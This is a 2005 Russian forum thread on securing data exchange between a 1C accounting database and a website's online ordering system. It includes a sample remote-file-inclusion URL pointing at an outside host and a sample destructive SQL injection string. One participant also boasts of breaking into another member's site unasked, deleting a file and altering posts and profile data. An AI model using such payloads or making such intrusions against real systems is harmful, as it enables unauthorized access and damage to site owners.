--}}
Новая тема
Вы не можете создавать новые темы.
Т.к. вы неавторизованы на сайте. Пожалуйста назовите себя или зарегистрируйтесь.
Список тем

Связь: 1С<->инет-заказы. Удобство и безопасность.

18
79
С друзьями на NN.RU
В социальных сетях
Поделиться
Andy Tukker
26.12.2005
По просьбам трудящихся, настоящих программистов ;-) , придумал серьезную тему для обсуждения :-)
Есть офисная база 1С, в которой ведется весь учет, есть корпоративный сайт, на котором располагается система инет-заказов. Информация на сайте регулярно обновляется непосредственно из 1С, в обратную сторону идут заказы клиентов. Обмен ведется txt или dbf файлами по http. Спрашивается, насколько безопасна такая система.
ЗЫ. В технических вопросах реализации серверной части этой системы я разбираюсь плохо, но на вопросы постараюсь ответить.
ЗЫЫ. Могу путать технические детали, касающиеся серверной части, просьба сильно не пинать, а вежливо поправить.
ЗЫЫЫ. Что такое "безопасность" в данном случае меня спрашивать бесполезно, этот вопрос был задан новым участником нашего комьюнити, он и расскажет, что хотел спросить.
Ged
26.12.2005
Гм... Для начала надо бы понять, что можно ценное из этого получить...
Первое что приходит в голову: инфу по тому кто сколько заказал и заказать что-нить от чужого имени.
Пока я вижу лом только в этом.
Если интересует это, то нужно ужо дальше копать...
Информацию, теоретически, можно получить следующую:
- прайс во внутреннем формате, но на сайте он доступен совершенно свободно в человеческом виде
- информацию о чужих заказах во внутреннем формате

Сделать, опять же теоретически, можно следующее:
- вместо нормального прайса выложить на чужой сайт прайс с заведомо неверной информацией, но тогда придется делать это каждые несколько минут, иначе он быстро восстановится в очередном сеансе обмена.
- перехватить/изменить чужие заказы
Ged
26.12.2005
Я бы сказал, что в данном случае, это перестает подпадать под тему. Ибо это уже идет скорее безопасность интернет заказов/сайта.
К 1с в данном случае я не вижу никакой привязки.
Началось все с сомнения, безопасно ли управлять информацией на сайте из 1С.
Ахха! Любима темы -безопасность торговли :)

Итак, два вида уязвимости:
1. вывод из базки лишнего
2. ввод в базку лишнего
механизмы и того и друго - одинаковы - выполнение несанкционированного SQL-запроса..

При работе через хттп мы все параметры получаем методами GET и POST из форм или ссылок, что в общемто одно и тоже для программера.

1. Самые большие грабли - это так называемая SQL-инъекция. Снаружи это выглядит так - ты меняешь параметры в строке хттп-браузера (или подделываешь их как-либо еще) и система это проглатывает за чистую монету.
Лечится просто - не надо верить ни одному байту присланному юзером. Все присланные параметры проверяем и в зависимости от их значений выполняем действие. Если на сайте есть поиск - никогда нельзя присланную юзером строку поиска без обработки пихать в SQL-запрос - в этой присланной строке может быть нехороший SQL-запрос от хакера..

2. Навигация на сайте - аккуратно надо работать с сессиями и куками.

3. Навигация - аккуратно строим менюшки и тестим на предмет того, что будет, если юзер например неавторизовавшись, наберет ссылку, которая ему была выдана уже после авторизации - я видела такое чудо, когда фактически скрывалась ссылка от неавторизованного юзера, но если эту ссылку знать (или скопировать заранее будучи авторизованным) то его пускает на ура..

4.в принципе, ничего страшного я в веб-доступе к 1с-базке я не вижу, но червячок гложет. Если проект растет, то наверное, можно подумать о среднем звене..
Нет доступа извне к 1С. База генерит текстовый файл, вызывает скрипт и отдает ему этот файл. Скрипт разбирает файл на части и грузит извлеченную информацию в MySQL. Дальше сайт живет своей жизнью, обеспечивая просмотр прайса и создание заказов. При срабатывании таймера 1С обращается к сайту и получает список номеров заказов, которые там накопились. Далее в цикле просит у сайта отдельные заказы, явно указывая их номера. Заказы приходят в виде текстового файла, который обрабатывается 1Сом и превращается в некие документы в базе.
Прямого доступа к SQL нет ни в офисе, ни на сайте. Максимум, что можно сделать, это подсунуть 1Су или скрипту неправильный файл, но он скорей всего просто не будет обработан.
дык в этом вся и опасность что скрипту можно подсунуть левый скрипт

например обрабатываются ли такие ситуации
server.com/script.php?file=http ://kulhaksor.narod.ru/catalog.txt

возмоно ли заливка с другого места?
Не знаю, выясню. Спасибо!
кстати у вас на сайте авторизаци черз файлы htpasswd средствами апача, а это ломается простым перебором
На каком из моих сайтов? :-)
Сколько времени уйдет на взлом и что ты сможешь получить в качестве приза?
уже взломал :)
тот который bizware :))
Ged
26.12.2005
Расскажи что хоть сломал, чтобы посмотреть можно было... :-)
посмотри в профиле Andy Tukker
домашнюю страничку :))
Ged
26.12.2005
Ужо... ничего интересного не обнаружил... вроде как было все так и осталось...
Куды смотреть-то надо? может не туды гляжу?
эх мля точно :(( но закрытые темы я все вижу, пойду еще ченить попробую сделать
ой тля файл какой то удалил :) не пинайте меня я случайно :(
ой и загружать могу, или это так задумано?
Не все, а только созданные тем пользователем форума, чей пароль удалось подобрать.
я и не подбирал ниче обманул систему авторизации просто, так что могу любые закрытые темы читать :)

кстати ща удалось твой пост поправить :)
теперь о другом сайте :)

Добро пожаловать, Andy Tukker
ваща персональная скидка 45% :))
воопщем советую хорошенько поработать над безопасностью сайта, больше там трогать ниче не буду, все равно там вкусного нет ниче :)
$Demogorgon писал(а)
все равно там вкусного нет ниче :)

Именно поэтому и защита сделана только от детей :-)
ну это для меня ниче вкусного нет :) а для ващих конкурентов может и быть :)
Признаю, что кто-то смог изменить мои регистрационные данные на форуме bizware. Следов несанкционированного доступа в другие разделы сайта пока не вижу.
таки убрал demogorgon.ru из профиля :)
Мое имя плохо сочетается с чужим сайтом, за рекламу которого мне не заплатили :-)
SCL
26.12.2005
Для начала проверим пароль и еще
if ( ! stristr ( $_SERVER['HTTP_USER_AGENT'], '1C' ) )
exit () ;
агент подделывается на раз :) имхо нужно хранить в базе вместе с хэшем пароля еще и агент и айпи и сверять их, чтоб небыло подделки сессии
Cunning
26.12.2005
Опять же зависит что ты будешь пихать в выгрузку!!! А обычно пихают только остаток на складе для показа на сайте и при заказе - данные о позичиях и количестве отправляются назад. Вроде лишнего не упрешь!... Только то что в обмене запрограммировано. ИМХО
В большинстве случаев действительно остатки, цены и заказы, но точно также можно сделать множество других полезных вещей, например автоматическое получение баланса, чем пользуются многие из присутствующих на сайтах известных нижегородских комповых поставщиков.
Cunning
26.12.2005
Тогда слушай Тринитю - дело говорит! Причем похоже по этой теме она поболе меня собачек съела! :)
Слушаю и очень внимательно, только понимаю не все :-)
Если я правильно понял, проблемы возникают при организации доступа с сайта в ту самую sql базу, с которой работает 1С? Так у меня нет такого доступа! 1С живет сама по себе, сайт сам по себе. При срабатывании таймера они меняются текстовыми файлами, в которых ничего страшного не спрячешь. Самую страшную проблему, которую я вижу в своем случае, это попадание в базу мусора, как следствие попытки загрузить файл, искусственно созданный врагами.
Cunning
26.12.2005
Andy Tukker писал(а)
При срабатывании таймера они меняются текстовыми файлами, в которых ничего страшного не спрячешь. Самую страшную проблему, которую я вижу в своем случае, это попадание в базу мусора, как следствие попытки загрузить файл, искусственно созданный врагами.

Тогда ты сам себе ответил!
Да, совершенно верно. Теперь утрируй худший вариант - допустим вся ввв-часть была сломана и хацкер тебе грузит злой файл. Задача стоит так- не верить содержанию файла, парсировать его в поиске ожидаемых данных. Например, если ожидается количество, т.е. число, а приходит "; DELETE FROM USERS WHERE iD>0", то надо строить систему так, чтобы она это отловила..
ага надо жестко все парсить!
Клиентская часть работает примерно так. Из пришедшего файла заказа извлекается первый реквизит, преобразуется в число и запускается поиск товара с таким кодом. Если это было НЕ число или число, но нет такого товара, выдается ошибка. В случае успеха извлекается следующий реквизит, преобразуется в число и считается количеством товара, найденного на предыдущем этапе.
Но даже если не ставить все эти проверки, все равно ситуация с "DELETE FROM USERS WHERE iD>0" не возможна, из 1С нет доступа к sql таблицам, да и самого sql может не быть.
я говорю не про заказ а про обратную ситаюцию -> заливка файла на сервер
Если сломан сайт и злоумышленник грузит туда хитрый файл, то в худшем случае будет удалена вся информация, хранимая в бд сайта. При очередном сеансе обмена, который произойдет через несколько минут, она будет полностью восстановлена, т.к. на сайте только временная копия информации, а постоянное место хранения - 1С.
ну если так относиться если сломан сайт то потом все перекачается, для корпоративного сайта это не допустипо, не солидный подход. Тем более есть вероятность что ломают конкуренты
Не путай две совершенно разные вещи, корпоративный сайт в целом и систему инет-заказов в частности. Про безопасность сайтов я не говорю, это совсем другая область, со мной не интересно общаться на эту тему. Инет-заказы не являются самостоятельной системой, это всего лишь некий интерфейс для удаленного создания заказов, сами по себе они никакой ценности не представляют. Информация, хранимая в этой части сайта, специально выложена для демонстрации клиентам.
дело не в том что секретная база или нет, главная что эти данные льются в общую базу сайта где может быть и секретная инфа, да и думаю престижу не прибавит компании если ее сайт сломаю и какую нить лажу вывесят
Хорошо, уговорил, утром начинаем новое тестирование системы :-)
Более того, постараюсь развернуть тестовую систему заказов специально для тебя, чтобы ты смог поставить над ней все возможные эксперименты :-)
:)) жду с нетерпением
Слушай, ну тогда вроде все здорово. Как сделаете систему - я бы наверное ее рекомендовала потестить- вон, $Demogorgon рвется в бой - да и по слухам он грамотный программер.. :)
Эта система не просто сделана, она уже несколько лет активно используется на сайтах большинства оптовых компьютерных фирм НН :-)
и не сломали? за несколько лет? я б не парилась :)
Stainless
26.12.2005
А что мудрить то?
вариант 1 (стар как мир) - передача файлов по FTP или SMTP
вариант 2 (более разумный) - через SQL торчащий в инет.
вариант 3 (вариант 2 + повышенная безопасность) - SQL + SSL.

Остальное, ИМХО, неоправдано. В случае с SQL, также можно прикрутить логистику и мониторинг через WWW. :)
ftp плохо, т.к. требует хранения в 1С в явном виде параметров подключения к фтп-серверу.
smtp - это обмен письмами? 1Сом можно принимать и обрабатывать почту, генерить и отправлять письма. PHP умеет принимать и обрабатывать почту? Можно написать скрипт, который будет принимать почту, отправленную в определенный ящик и как-то ее обрабатывать?
Stainless
26.12.2005
млин дался всем PHP! Perl кто-то отменил?
он сам себя и отменил, в нем черт ногу сломит нах :) да и по скорости он уже уступает особоно пхп5 да и по поддержке ООП
а че все както слишком просто? давайте уж не по smtp, а по smpp работать бум.. все круче.. а можно и вообще свой протокол написать под это дело..
имхо я бы стал реализовывать передачу xml файлами c жестким парсингом всех узлов на валидность, если в данных есть что то секретное то поключение сделал бы через https

да и еще думаю контрольная сумма бы не помешала
В чем принципиальное отличие использования xml от plain text в данном случае?
Проверять корректность данных затруднительно, т.к. известен только тип данных, но не возможные значения.
отличие xml от txt в жесткой структуре данных, с возможностью указывать тип данных, а также легость последующего разбора документа и перевода в другой формат. Легко будет проверить все даные на допустимые значения
Cunning
26.12.2005
+1 Только что хотел сказать про возможное жесткое описание структуры ХМЛ документа (шаблон) и проверку валидности.
а про то, сколько это памяти отожрет и как все затормозит, когда пхп начнет xml-файлик мегов на 50 распарсировать почему никто не пишет?
а кто в здравом уме грузит на сайт файл 50 мегов? думаю он по таймауту вылетит при обработки txt такого размера иба просто не успееет :)
В проектах, где уже используется обсуждаемая система, не было файлов прайсов более 2мб.
2 мега самый оптимал, есле больше ту лучше резать на куски
Это крайний, единственный случай. Там было примерно 50 000 товаров с длинными наименованиями, несколько видов цен, какая-то дополнительная информация. Обычно не больше 20-200Кб.
Резать на куски не будем, мы сейчас тестируем другое решение: файл прайса генерится 1Сом, зипуется, в таком виде выгружается на сайт, там распаковывается и обрабатывается. Трафик сокращается в 2-5 раз, причем при увеличении размеров прайса выигрыш только увеличивается.
а у вас это щас не сделано? этож пару строк кода :)
Чем сложнее система, тем ниже стабильность ее работы. Если трафик значения не имеет и время обмена не велико, то нет смысла увеличивать сложность системы обмена. Кроме того, отправить с помощью 1С по http текстовый файл существенно проще, чем бинарный.
ну вам оно виднее :)
еще такая тема, в 1С получить доступ любому челу с неограничеными правами лекго, нет ли вероятности несанкционированого доступа к заливаемой инфе нежелательных сотрудников?
Ged
26.12.2005
В терминале? Научи.
Да и если база лежит на сервере, то тоже несколько затруднительно, при выставлении нормальных прав.
если в терминале, то да, и то если запрещен доступ юзеров на запись к определенным папкам
Ged
26.12.2005
Если пользователям разрешен доступ куда не поподя, то я не знаю ни одной системы которую нельзя легко сломать... :-)
P.S. Линух вообще беззащитен перед рутом :-))
Проблема действительно существует и заключается в том, что доступ к папке с базой необходимо открывать всем на полный доступ, иначе работать не будет.
Cunning
26.12.2005
Есть такая проблема. Чтоб там левых не появилось надо хоть как-то защитить папку UserDef и users.usr в частности - пользователям дать рид онли, админам - фул контрол. Запущенный скуль блокирует свои файлы - без погашения СКУля не упрешь...
+
$Demogorgon писал(а)
еще такая тема, в 1С получить доступ любому челу с неограничеными правами лекго

Но не в случае sql версии/базы.
Обмен с сайтом не дает сотруднику каких-либо лишних возможностей. Пусть кто-то случайный запустит обмен, внепланово обновит прайсы на сайте и загрузит в базу заказы, ничего страшного не произойдет, никто этого и не заметит.
дык ведь можно будет подменить информацию которая закачивается, и тогда неизвестно что произайдет при заливе ее в базу возможна и sql иньекция
На клиентской стороне не возможна никакая sql-инъекция хотя бы потому, что офисная база может быть в dbf. А если серьезно, то загружаемый текстовый файл может быть либо правильным, тогда заказы корректно загрузятся в базу, либо неправильным и тогда опять возможны два варианта:
1. он просто не загрузится
2. загрузится, в базе появится легко удаляемый мусор
нужно смотреть саму процедуру загрузки из файла в базу, туда возможно внедрить иньекцию если кривой скрипт
На сайте проверим, в офисе это не возможно.
Skifi
26.12.2005
Насколько знаю, парсинг входящих заказов осуществляется обработками 1С. Соответственно, sql инъекцию заложить практически невозможно.
Другое дело, инсайдеры.. :)
ЗЫ
Andy, поправь, если ошибаюсь..
я имел ввиду загрузгу вредного файла на сайт
Совершенно верно, как я говорил выше, в офисную базу в худшем случае удастся подсунуть некоторое количество мусора. Про бд сайта ничего определенного не скажу, в php и mysql разбираюсь очень слабо.
Новая тема
Вы не можете создавать новые темы.
Т.к. вы неавторизованы на сайте. Пожалуйста назовите себя или зарегистрируйтесь.
Список тем
Последние темы форумов
Форум Тема (Автор) Последний ответ Ответов
Компьютерные и для оргтехники разъёмы

Компьютерные и для оргтехники разъёмы для различной коммутации. переходники . Назначение мне не известно. В наличии 13шт...
Цена: 1 500 руб.

Сетевой фильтр APC Surge Arrest

Сетевой фильтр APC Surge Arrest для радиолюбителя.и не только Отправка в регионы после оплаты. ЦЕНА 3000 руб. В рабочем состоянии....
Цена: 3 000 руб.

Принтер лазерный HEWLETT PACKARD HP-6L

Принтер лазерный HEWLETT PACKARD HP-6L Отправка в регионы после оплаты. 3штуки БУ. Внешний вид из магазина простояли на складе...
Цена: 4 500 руб.

Игровой компьютер с монитором

i7 3770 palit gtx 1070 8gb 2ssd ( 120, 465 ) 1hdd ( 1tb ) бп - zalman zn500-gs2 монитор в комплекте
Цена: 25 000 руб.